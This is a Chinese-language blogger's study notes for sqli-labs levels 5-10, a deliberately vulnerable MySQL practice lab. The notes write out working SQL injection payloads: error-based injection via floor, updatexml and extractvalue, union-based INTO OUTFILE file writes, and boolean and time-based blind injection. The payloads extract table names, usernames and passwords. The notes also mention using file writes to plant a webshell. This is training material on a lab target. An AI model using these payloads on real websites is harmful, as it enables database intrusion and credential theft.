sql-labs 闯关 5~10
友善爱国平等诚信民主友善公正敬业爱国友善爱国公正友善自由友善敬业爱国平等
复习笔记1
内容:
- 盲注步骤思维导图
- sql-labs第五关(GET请求-双注入-单引号字符型)
- sql-labs第六关(GET请求-双注入-双引号字符型)
- sql-labs第七关(GET请求-导出文件-字符型)
- sql-labs第八关(GET请求-布尔型-单引号盲注)
- sql-labs第九关(GET请求-基于时间-单引号盲注)
- sql-labs第十关(GET请求-基于时间-双引号盲注)
1.盲注步骤思维导图
2.sql-labs 第五关
正常输入
判断是否为数值型
闭合点为'
成功确定闭合点
用以下任意一种报错注入方法,皆可获得信息(0x23,0x7e是ASCII编码,解码结果分别为#,~)
1.floor报错
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(database())))--+
用floor报错注入,得到数据库名称为’security’
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+
用floor报错注入,得到数据表名称
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+
用floor报错注入,得到字段名
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(username) from users)))--+
用翻译软件翻译出来的意思是[子查询返回超过 1 行],所以用count函数统计看看有多少数据
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select count(username) from users)))--+
用floor报错注入,得到username有13个,既然输出一行,那么用limit一个一个输出
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select username from users limit 0,1)))--+
用floor+limit报错注入,得到第一个用户账户
用floor+limit报错注入,得到第二个用户账户
以此类推,得到所有账户密码
2.updatexml报错
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
尝试用updatexml报错注入,得到数据库名称
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
尝试用updatexml报错注入,得到数据表名称
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+
尝试用updatexml报错注入,得到字段名称
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+
尝试用updatexml报错注入,得到用户名
3.extractvalue报错
?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+
尝试用extractvalue报错注入,得到数据库名称
?id=1' and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x23))--+
尝试用extractvalue报错注入,得到数据表名称
尝试用extractvalue报错注入,得到字段名称
?id=1' and extractvalue(1,concat(0x23,(select group_concat(username) from users),0x23))--+
尝试用extractvalue报错注入,得到用户名称,但明显可以看出,还没显示完整,用limit逐个查看
?id=1' and extractvalue(1,concat(0x23,(select username from users limit 0,1),0x23))--+
尝试用extractvalue报错注入,查看第一个账户名称
4.遇到的问题
如上面三张图所示,如果不将红框用括号框起来,就会显示语法错误,百度了很多,没查到详细的解释。
个人理解是concat函数是将多个字符串连接成一个字符串,而括号是为了提高优先级,没有括号的话,到了语句执行的时候,因为没有先后顺序,所以导致前面的字符串连接后面的sql查询语句,产生语法错误。
但不知道是否正确,有幸被大佬看见的话,请评论区评论告诉我正确答案,谢谢。
总的来说,记住加括号。
3.sql-labs 第六关
正常输入
判断是否为数值型
闭合点不是’,所以用双引号判断法尝试
闭合点为“
最终闭合点确定为”,尝试用报错注入,爆数据库名。三种报错方法具体参考请看第五题,本题开始只演示其中一种。
?id=1" and extractvalue(1,concat(0x23,database(),0x23))--+
爆库
?id=1" and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x23))--+
爆表
?id=1" and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x23))--+
爆字段
?id=1" and extractvalue(1,concat(0x23,(select group_concat(username) from users),0x23))--+
爆数据
4.sql-labs 第七关
按照常规套路,输入?id=1
看到回显跟前几关不一样了,前几关有多游刃有余,现在就有多迷茫,去看了第七关的关卡名,翻译之后知道这关考察点是数据库文件操作,又看了好多关于这关的闯关步骤,勉强能跟着做下来,还需要后续复习巩固。
1.知识点
文件操作函数有两个:into outfile、load_file
into outfile用法:select “值” into outfile “文件路径和文件名”
load_file用法:select load_file( “文件路径”) 没看到具体示例
在使用函数前需要去mysql的my.ini文件设置secure_file_priv参数
关于outfile具体内容请参考
sql注入下的outfile
SQLi-LABS-7
mysql语句 select … into outfile
sqli-labs-master 第七关详解
MySQL配置文件中basedir和datadir说明
诸如此类的文章有很多,请自行查阅
2.闯关
正常输入
判断是否为数值型
用单引号判断法,错误提示是语法错误,而用双引号判断法,没有错误提示,那么可以说明,闭合点是以'
开头的
根据前几关的闭合经验,再次添加了)
,但是还是显示语法错误,我绞尽脑汁也想不到这关的闭合点是啥,放弃自己闯,跟着前辈慢慢来
我是万万没想到,困扰了我半个多小时的闭合点居然是'))
,感谢通关的大佬们,有了你们的笔记,我才能少走弯路。
从前几关就可以得出,列数有3列,通过上面两张图片对比可以看出
?id=-1')) union select @@datadir,@@basedir,database() into outfile "C:\\Users\\a\\Desktop\\1.txt" --+
用into outfile函数将mysql的数据库路径、mysql的安装路径、数据库库名都输出到桌面1.txt
?id=-1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' into outfile "C:\\Users\\a\\Desktop\\2.txt" --+
将表名输出到2.txt
?id=-1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' into outfile "C:\\Users\\a\\Desktop\\3.txt" --+
将字段名输出到3.txt
?id=-1')) union select 1,group_concat(username),group_concat(password) from users into outfile "C:\\Users\\a\\Desktop\\4.txt" --+
将数据输出到4.txt
值得注意的是,如果输出的文件名是存在的话,文件内容并不会被覆盖;绝对路径必须是两个\,否则文件不会成功输出到指定位置
大部分教程都是通过into outfile上传一句话木马,再用菜刀连接,这个方法感觉更实用,不过不知道为什么老师发的软件没用了,现在还没试过。
5.sql-labs 第八关
1.布尔盲注可能会使用到的函数
substr(a,b,c)、mid(a,b,c):在字符串a中,从b开始截取c个字符(这两个函数一个效果)
left(a,b):在字符串a的左边开始,截取b个字符
regexp:正则表达,获取列
2.闯关
提示:这关特别繁琐,注释直接标在图上更清晰
正常输入,从页面来看,这题又回到了盲注
判断类型不是数值型
闭合点为'
,而且这关没有报错信息,所以不能使用报错注入,开始复杂的布尔盲注,个人感觉二分法在这里蛮好用的,不过有个缺点就是:当所求值在端点处时,验证步骤会多一两步
首先判断数据库长度,确定数据库长度为8
又经过反复试探,确定数据库名
确定有4张数据表
判断每张表的长度,第一张为6,第二张为8,第三张为7,第四张为5
又经过漫长的试探,逐个试出数据表名,分别为’emails’、‘referers’、‘uagents’、‘users’
判断字段数,有三个符合条件的字段
判断各个字段长度,第一个为2,第二个为8,第三个为8
经过来回试探,最终试出所有符合条件的字段名,第一个字段名为’id’,第二个字段名为’username’,第三个字段名为’password’
判断字段有多少条记录
判断记录长度
最后再试探一遍,试出所有数据,这次试完就真的好了,做完这题我觉得前面的关卡好友善,下次再遇到,建议使用sqlmap或者脚本,手工盲注试到怀疑人生
6.sql-labs 第九关
这关注入过程与布尔注入类似,只写个例子,具体参考第八关布尔注入
正常输入
打算判断类型,但是页面一直显示 you are in ……
发现不管输入说明,页面始终没有变化
burp不能抓本地包的话,访问地址改为物理地址,再抓包,可以对照上下两张图的ip
通过响应时间找到闭合点
判断数据库长度
以此类推判断数据库名
判断数据表数
判断数据表长度
判断数据表名
判断字段数
判断字段长度
判断字段名
判断数据
7.sql-labs 第十关